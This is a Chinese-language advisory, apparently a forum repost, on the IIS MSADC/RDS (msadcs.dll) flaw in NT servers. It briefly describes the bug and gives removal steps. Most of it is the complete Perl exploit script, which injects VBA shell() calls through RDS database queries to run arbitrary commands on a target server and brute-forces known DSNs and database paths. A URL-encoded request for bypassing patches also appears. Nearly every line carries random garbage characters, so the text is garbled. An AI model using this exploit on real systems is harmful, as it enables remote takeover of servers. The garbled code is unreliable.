IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
d@u)'AY%/ 1>wQ&{ 涉及程序：
tn@MOOP l Microsoft NT server
WhU-^`[* ZBX,4kxK7 描述：
YN< :k
Wu 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Q;EQ8pL?" FdZG%N>Z 详细：
:p6.v>s8 如果你没有时间读详细内容的话，就删除:
bm Hl \? c:\Program Files\Common Files\System\Msadc\msadcs.dll
;WG6|QgV?- 有关的安全问题就没有了。
6.|Q yk* wy)I6`v 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
?oKY"C8/ h_{//W[ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
P X%Y$` 关于利用ODBC远程漏洞的描述，请参看:
4IEF{"c_8 g*uo2-MN&e http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm sh|@X\EZO aLKvl~s;m 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
GLIe8T*ht http://www.microsoft.com/security/bulletins/MS99-025faq.asp d
6$,N| 4Z"JC9As 这里不再论述。
X Nm%O V< ]l=JOd 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
_0uFe7sIZ CG -^}xE: /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
dDe ImSeV 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
M:* ^k ;K+'J0 a*fUMhIi #将下面这段保存为txt文件，然后: "perl -x 文件名"
TGe)%jZ fQ@k$W\ #!perl
Xgs 31#K #
K.{ :H4_ # MSADC/RDS 'usage' (aka exploit) script
Z\@m_ /g #
I ,pI2 # by rain.forest.puppy
r'C(+E ( #
h j8S# # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
/!//i^ # beta test and find errors!
7j
<:hF~ k'hJ@ 6eKS use Socket; use Getopt::Std;
Gx.iZOOH/ getopts("e:vd:h:XR", \%args);
9sR?aW^$,/ mV58&SZT print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
9)Jc'd| HS % P if (!defined $args{h} && !defined $args{R}) {
k8~/lE.Wy print qq~
H$j`75#u?- Usage: msadc.pl -h <host> { -d <delay> -X -v }
) C?em Tih -h <host> = host you want to scan (ip or domain)
:gvw5h% -d <seconds> = delay between calls, default 1 second
p`
'8M -X = dump Index Server path table, if available
n
qR8uL> -v = verbose
ND3(oes+;K -e = external dictionary file for step 5
q!5 *) nw" !oDX+hd,%> Or a -R will resume a command session
{ 4(E
@ f-!A4eKe ~; exit;}
$Bd13%>) ?uq7K"B $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Wg3\hv 29 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
~S='~ g) if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
jZ;dY~fE if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
jw^Pt~@ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
-wqnmK+G if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
m3La;%aA0 T==(Pw7R7 if (!defined $args{R}){ $ret = &has_msadc;
5,pKv die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
:Ur=}@Dj ]nEZ Q+F print "Please type the NT commandline you want to run (cmd /c assumed):\n"
?\eq!bu . "cmd /c ";
v@8 =u4 $in=<STDIN>; chomp $in;
n<. T6 $command="cmd /c " . $in ;
quvdm68 h kh b8zS if (defined $args{R}) {&load; exit;}
JMnk~8O %Q0J$eC print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Bx>)i8P7i0 &try_btcustmr;
K1F,M9 0] !E0zj9 [ R print "\nStep 2: Trying to make our own DSN...";
-}h+hS50F &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
vw'`t6 ?-"%%# print "\nStep 3: Trying known DSNs...";
* i}Nb* Z3 &known_dsn;
S @EkrC\4n .>K):|Opv print "\nStep 4: Trying known .mdbs...";
P [.B K &known_mdb;
|kUxTe b0~AN #Es if (defined $args{e}){
_-vf<QO] print "\nStep 5: Trying dictionary of DSN names...";
o 9l =Q &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
b`4R`mo X C jYm print "Sorry Charley...maybe next time?\n";
HhmC+3w.7 exit;
&r{.b#7\/A rY
0kzD/ ##############################################################################
; U)a)l'y /<HEcB sub sendraw { # ripped and modded from whisker
Y[ A`r0 sleep($delay); # it's a DoS on the server! At least on mine...
=s2dD3Fr| my ($pstr)=@_;
t5%\`Yo ? socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
*mc]Oa
die("Socket problems\n");
&*}NN5Sv if(connect(S,pack "SnA4x8",2,80,$target)){
[I`r [u select(S); $|=1;
; FO1b* print $pstr; my @in=<S>;
k{fCU% select(STDOUT); close(S);
z)Y< @2V*C return @in;
&I Qp& } else { die("Can't connect...\n"); }}
$uA?c&
e N@M(Iw ##############################################################################
:y?xS _L6WbRu| sub make_header { # make the HTTP request
M NE{mV( my $msadc=<<EOT
^8mF0K& POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
X[fr L)k] User-Agent: ACTIVEDATA
uc%
&g Host: $ip
f PoC
yl Content-Length: $clen
0/8rY BV Connection: Keep-Alive
I 9yN TD h\ (z!7t* ADCClientVersion:01.06
#xqeCX 4p Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
6\MJvg\; 3~e"CKD> --!ADM!ROX!YOUR!WORLD!
<p48?+K9 Content-Type: application/x-varg
~zklrBn& Content-Length: $reqlen
+\`D1d@ t|gEMDGa3 EOT
scky G ; $msadc=~s/\n/\r\n/g;
KfU4#2} return $msadc;}
(c /H$' nt ,tM/ ##############################################################################
idwiM|.iU Xd _86q8o sub make_req { # make the RDS request
VrF(0,-Z`3 my ($switch, $p1, $p2)=@_;
avR4 #bfc my $req=""; my $t1, $t2, $query, $dsn;
_E e`Uk {gE19J3 if ($switch==1){ # this is the btcustmr.mdb query
*t;'I -1w^ $query="Select * from Customers where City=" . make_shell();
:*bmc /c $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Gs*FbrY $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
U9D4bn D {emO&#=@CP elsif ($switch==2){ # this is general make table query
w ' E $query="create table AZZ (B int, C varchar(10))";
Gy9+-7"V $dsn="$p1";}
uiO7sf6 W;]*&P[[
elsif ($switch==3){ # this is general exploit table query
dbTPY` $query="select * from AZZ where C=" . make_shell();
ubV|s|J $dsn="$p1";}
\*}JdEHB /znW$yh o elsif ($switch==4){ # attempt to hork file info from index server
,}!OJyT $query="select path from scope()";
8>Xyz`$kH $dsn="Provider=MSIDXS;";}
~jab/cR _y}]j;e8>{ elsif ($switch==5){ # bad query
Azx4+`!- $query="select";
XEF|B--, $dsn="$p1";}
vUGEzC M N[ %^0T$ $t1= make_unicode($query);
(F $V m $t2= make_unicode($dsn);
6i/x"vl > $req = "\x02\x00\x03\x00";
~X^L3=!vf $req.= "\x08\x00" . pack ("S1", length($t1));
:)v4:&do $req.= "\x00\x00" . $t1 ;
V#?GDe}[ $req.= "\x08\x00" . pack ("S1", length($t2));
r;`6ML[5Vx $req.= "\x00\x00" . $t2 ;
; d1\2 H $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
D6,rb 9 return $req;}
4@PH5z bk E4{P" ##############################################################################
}2Y:#{m &pS <4 sub make_shell { # this makes the shell() statement
uBLI!N-G return "'|shell(\"$command\")|'";}
nB ?$W4 ^Bw2y&nN ##############################################################################
U2=l; R{ ,K Ebnk|i sub make_unicode { # quick little function to convert to unicode
Z( p kj my ($in)=@_; my $out;
}EmNSs`$r for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
6P=6E return $out;}
VLW<"7I 6\ 0c4H2RW ##############################################################################
i]8HzKuiW W L4{_X sub rdo_success { # checks for RDO return success (this is kludge)
f&glY`s# my (@in) = @_; my $base=content_start(@in);
`;-K/)/x if($in[$base]=~/multipart\/mixed/){
7aVQp3< return 1 if( $in[$base+10]=~/^\x09\x00/ );}
1hj']#vBu return 0;}
zhH-lMNj- 1 u&}Lq( ##############################################################################
^PI U A' @b\/\\{ sub make_dsn { # this makes a DSN for us
YaJ[39 V my @drives=("c","d","e","f");
K! 6k< print "\nMaking DSN: ";
G(F }o] foreach $drive (@drives) {
q/,>UtRr print "$drive: ";
53d8AJ_@X my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Qvh: hkR "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
y^: !]-+ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
WpE\N0Yg $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
(J8 (_MF return 0 if $2 eq "404"; # not found/doesn't exist
Tj}H3/2 if($2 eq "200") {
J[rpMQ foreach $line (@results) {
<zE,T@c return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
>K$9 ( } return 0;}
+ ^n [B ~=~|@K ##############################################################################
Sw<@u+Z;% ftB-gItV sub verify_exists {
X TpYf my ($page)=@_;
F@Qz h my @results=sendraw("GET $page HTTP/1.0\n\n");
FU9q|!2Y return $results[0];}
p9k' .H^:_ I/D (gY06< ##############################################################################
H(U`S 4(>|f_$ sub try_btcustmr {
K^j7T[pR my @drives=("c","d","e","f");
\EF^Ag my @dirs=("winnt","winnt35","winnt351","win","windows");
4$ LVl G9ku(2c q foreach $dir (@dirs) {
+CL`]'~;E- print "$dir -> "; # fun status so you can see progress
8 SII>iL{ foreach $drive (@drives) {
xMNUy B{? print "$drive: "; # ditto
_oK* 1#Rm8 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
/?<o?IR~6 $reqlenlen=length( "$reqlen" );
H'E(gc)>) $clen= 206 + $reqlenlen + $reqlen;
$s-/![
6 VWqmqR% my @results=sendraw(make_header() . make_req(1,$drive,$dir));
)
-x0xY
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
f0+)%gO{ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
&GF@9BXI3 zi l^^wT0J ##############################################################################
hw/ : ]cvP ! sub odbc_error {
}t }y my (@in)=@_; my $base;
ne n( my $base = content_start(@in);
+6 tj
w 6 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
^6R?UG;6 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
?-w<H!Y 7 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
4lMf'V7*l $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
K
TJm[44 return $in[$base+4].$in[$base+5].$in[$base+6];}
* ;7~aM print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
^]}+ s( print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
*#p}>\Y{ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
T. \=R ;oW#>!HrY ##############################################################################
*@`Sx' 5! Fd!Np7xw sub verbose {
D4nYyj1O3
my ($in)=@_;
8,unq3 return if !$verbose;
8D3|} z? print STDOUT "\n$in\n";}
&`+tWL6L gXZl3 ##############################################################################
hKo& ZWPq pRyePxCDj) sub save {
$m{-I= my ($p1, $p2, $p3, $p4)=@_;
E(]39B"i open(OUT, ">rds.save") || print "Problem saving parameters...\n";
\
vf&Ldk print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
m,YBk<Bx close OUT;}
_p0@1 s(U SVKjhZK ##############################################################################
bz Yj` t? LY Y3*d sub load {
9yla &XTD my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
8 $)xxV_zp open(IN,"<rds.save") || die("Couldn't open rds.save\n");
oPP`)b$x @p=<IN>; close(IN);
G`1!SEae $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
66ULR&D8 $target= inet_aton($ip) || die("inet_aton problems");
PM ]|S` print "Resuming to $ip ...";
WbF[4 x $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
#Bu W if($p[1]==1) {
;ED` 7 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
JmlMfMpXMs $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
b ]A9$- my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
:(7icHa if (rdo_success(@results)){print "Success!\n";}
->"Z1 else { print "failed\n"; verbose(odbc_error(@results));}}
R^u 1(SF elsif ($p[1]==3){
2z*EamF if(run_query("$p[3]")){
#6okd* ^ print "Success!\n";} else { print "failed\n"; }}
f8ucJ.{ " elsif ($p[1]==4){
>#pZ`oPEAv if(run_query($drvst . "$p[3]")){
FYe#x]ue print "Success!\n"; } else { print "failed\n"; }}
05
56#U&> exit;}
R*PR21g
mE1m ##############################################################################
oUSv)G.zb l-/fFy )T sub create_table {
R3 Zg,YM my ($in)=@_;
3+: F2sjt $reqlen=length( make_req(2,$in,"") ) - 28;
s>pM+PoGYd $reqlenlen=length( "$reqlen" );
^HiI $clen= 206 + $reqlenlen + $reqlen;
y}aKL(AaU my @results=sendraw(make_header() . make_req(2,$in,""));
/ i: c!l9 return 1 if rdo_success(@results);
a ][t#` my $temp= odbc_error(@results); verbose($temp);
\tCxz(vKz return 1 if $temp=~/Table 'AZZ' already exists/;
/[V} return 0;}
nC6 ;:uM u9c^:Op ##############################################################################
zDK"Y{ GpwoS1#)0| sub known_dsn {
/Py1Q # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
/7[U J' my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
7 &O 0 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
YB`1S "banner", "banners", "ads", "ADCDemo", "ADCTest");
]7|Z s]6 cmcR @zv foreach $dSn (@dsns) {
I
0vJJP# print ".";
8cKP_ Ec next if (!is_access("DSN=$dSn"));
C3k[ipCN if(create_table("DSN=$dSn")){
Q}zd !* print "$dSn successful\n";
1@ }s: if(run_query("DSN=$dSn")){
*'l|ws print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
f3;.+hJ]) print "Something's borked. Use verbose next time\n";}}} print "\n";}
bz'#YM z EBUR %9 ##############################################################################
NQ3EjARZt lEXER^6 sub is_access {
Mp-hNO}.Z my ($in)=@_;
Q0j4 c $reqlen=length( make_req(5,$in,"") ) - 28;
Crg@05Z $reqlenlen=length( "$reqlen" );
vRI0fDu $clen= 206 + $reqlenlen + $reqlen;
1#Q~aY my @results=sendraw(make_header() . make_req(5,$in,""));
4QZ|e{ t my $temp= odbc_error(@results);
pB; 8yz= verbose($temp); return 1 if ($temp=~/Microsoft Access/);
59k[A~) ~ return 0;}
XbaUmCuh cqd}.D ##############################################################################
$:}sm0; z%lLbKSe sub run_query {
i8nzPKF2$3 my ($in)=@_;
Bb C aIt $reqlen=length( make_req(3,$in,"") ) - 28;
+{b3A@f |F $reqlenlen=length( "$reqlen" );
]yAOKmS $clen= 206 + $reqlenlen + $reqlen;
,v@C=4'm my @results=sendraw(make_header() . make_req(3,$in,""));
P9yg return 1 if rdo_success(@results);
dTTC6?yPXf my $temp= odbc_error(@results); verbose($temp);
]tsp}M@ return 0;}
,^n5UA`PK &x.n>O ##############################################################################
YQ$Wif:@(n ee M$c` Y< sub known_mdb {
YiGSFg my @drives=("c","d","e","f","g");
c,L{Qv"n{ my @dirs=("winnt","winnt35","winnt351","win","windows");
Ljs4^vy <J my $dir, $drive, $mdb;
^| r6>b my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
_C4N6YdU |!6<L_31% # this is sparse, because I don't know of many
.~AQxsGH my @sysmdbs=( "\\catroot\\icatalog.mdb",
QLLMSa+! \ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Ha41Wn'tZ "\\system32\\certmdb.mdb",
E'^$~h$ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
o,yZ1" ir<K"w i(2 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Qz4n %| "\\cfusion\\cfapps\\forums\\forums_.mdb",
{oVoN>gp "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Qj3l> O "\\cfusion\\cfapps\\security\\realm_.mdb",
8{B]_:
-: "\\cfusion\\cfapps\\security\\data\\realm.mdb",
$ISx0 l~ "\\cfusion\\database\\cfexamples.mdb",
_t-e.2a
v "\\cfusion\\database\\cfsnippets.mdb",
[AN= G!r "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
qA>C<NL "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
M ZWicfUy "\\cfusion\\brighttiger\\database\\cleam.mdb",
c`s ]ciC "\\cfusion\\database\\smpolicy.mdb",
(yO8G-Z0 "\\cfusion\\database\cypress.mdb",
'z$!9ufY, "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Aa!#=V1d "\\website\\cgi-win\\dbsample.mdb",
.T*89cEu "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
j 21>\K!p "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
a0)] W%F ); #these are just
LB\+*P6QM foreach $drive (@drives) {
[]<N@a6VA> foreach $dir (@dirs){
DP6>f zsl foreach $mdb (@sysmdbs) {
s $ZKd print ".";
shuoEeoo if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Mh"vH0\Lj print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
XtftG7r9S if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
>k9W+mk print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
5J2tR6u-( } else { print "Something's borked. Use verbose next time\n"; }}}}}
I~T~!^}U j}aU*p~N foreach $drive (@drives) {
&:[hUn8jU foreach $mdb (@mdbs) {
Wu@v%!0 print ".";
#v\o @ArX if(create_table($drv . $drive . $dir . $mdb)){
V]W-**j< print "\n" . $drive . $dir . $mdb . " successful\n";
r}M2t$nv if(run_query($drv . $drive . $dir . $mdb)){
9?I?;l{ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
k`=&m "&# } else { print "Something's borked. Use verbose next time\n"; }}}}
bZCNW$C3l }
ZRn!z`. 0 PL*1-t?# ##############################################################################
\}:;kO4f 6QX2&[qWS sub hork_idx {
z|v/h UrD print "\nAttempting to dump Index Server tables...\n";
5-! Zm] print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
{1L{ $reqlen=length( make_req(4,"","") ) - 28;
u,`cmyZ $reqlenlen=length( "$reqlen" );
\:Z8" ~G $clen= 206 + $reqlenlen + $reqlen;
owe6ge7m
my @results=sendraw2(make_header() . make_req(4,"",""));
Q60 '5Wt if (rdo_success(@results)){
60X))MyN my $max=@results; my $c; my %d;
;R*tT%Z, for($c=19; $c<$max; $c++){
4Y yVh.x $results[$c]=~s/\x00//g;
W0\
n?$ZC~ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
b@ OF $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
PwS7!dzH- $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
fp2uk3Bm [ $d{"$1$2"}="";}
WVdF/H foreach $c (keys %d){ print "$c\n"; }
@XN *H- | } else {print "Index server doesn't seem to be installed.\n"; }}
(d Hil#l I`uOsZBO/ ##############################################################################
_5H0<%\ UE 1tm sub dsn_dict {
3) 3$ L open(IN, "<$args{e}") || die("Can't open external dictionary\n");
J{r3y&: while(<IN>){
Rd ,5 &X$ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
^+u/Lw& next if (!is_access("DSN=$dSn"));
UhbGU G if(create_table("DSN=$dSn")){
1JY3c
M print "$dSn successful\n";
n}3fItSJ if(run_query("DSN=$dSn")){
nEfQLkb[| print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
i _YJq;( print "Something's borked. Use verbose next time\n";}}}
2+}hsGnp print "\n"; close(IN);}
LLd5Z44v z c&i 4K ##############################################################################
u$
a7 ' ;KZ.D sub sendraw2 { # ripped and modded from whisker
!Nx'4N`&l sleep($delay); # it's a DoS on the server! At least on mine...
I`S?2i2H my ($pstr)=@_;
d#u*NwY} socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
]^v*2!_( die("Socket problems\n");
3) _(t.$D if(connect(S,pack "SnA4x8",2,80,$target)){
sG:tyvln print "Connected. Getting data";
A ^X 1 open(OUT,">raw.out"); my @in;
H'x) [2 select(S); $|=1; print $pstr;
}HxC ~J" while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
]?UK98uS\A close(OUT); select(STDOUT); close(S); return @in;
Qt"i } else { die("Can't connect...\n"); }}
E=RX^ 3+} KCi0v ##############################################################################
E#(dri*#t
P*3PDa@ sub content_start { # this will take in the server headers
f;]C8/ W my (@in)=@_; my $c;
j)Y68fKK for ($c=1;$c<500;$c++) {
^wMZG'/ if($in[$c] =~/^\x0d\x0a/){
x2Dg9 2 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
U^d!*9R else { return $c+1; }}}
=m/BH^|&W return -1;} # it should never get here actually
:nn(Ndlz9 @0fiui_ ##############################################################################
Fg^Z g\X3 +W^$m y)< sub funky {
+.IncY8C$ my (@in)=@_; my $error=odbc_error(@in);
3GM9ZPeN: if($error=~/ADO could not find the specified provider/){
Km!~zG7< print "\nServer returned an ADO miscofiguration message\nAborting.\n";
NzG] nsw exit;}
*s6(1 S if($error=~/A Handler is required/){
7Lx =VX#]q print "\nServer has custom handler filters (they most likely are patched)\n";
lzK,VZ=mM exit;}
C>Cb if($error=~/specified Handler has denied Access/){
%d2\ 4{{S print "\nServer has custom handler filters (they most likely are patched)\n";
3$h yV{ exit;}}
3R`eddenF hg+0!DVx ##############################################################################
OJXK] dZ ySNXjH
Q= sub has_msadc {
cp L ' my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
]Aa .= my $base=content_start(@results);
'I5~<"E return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
\) vI- return 0;}
;)' }J(o!2. ########################
9 y`V g CkEbSa<)hK r"=6s/q7 解决方案：
;Ff5ooL{ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
nPj
&a 2、移除web 目录: /msadc
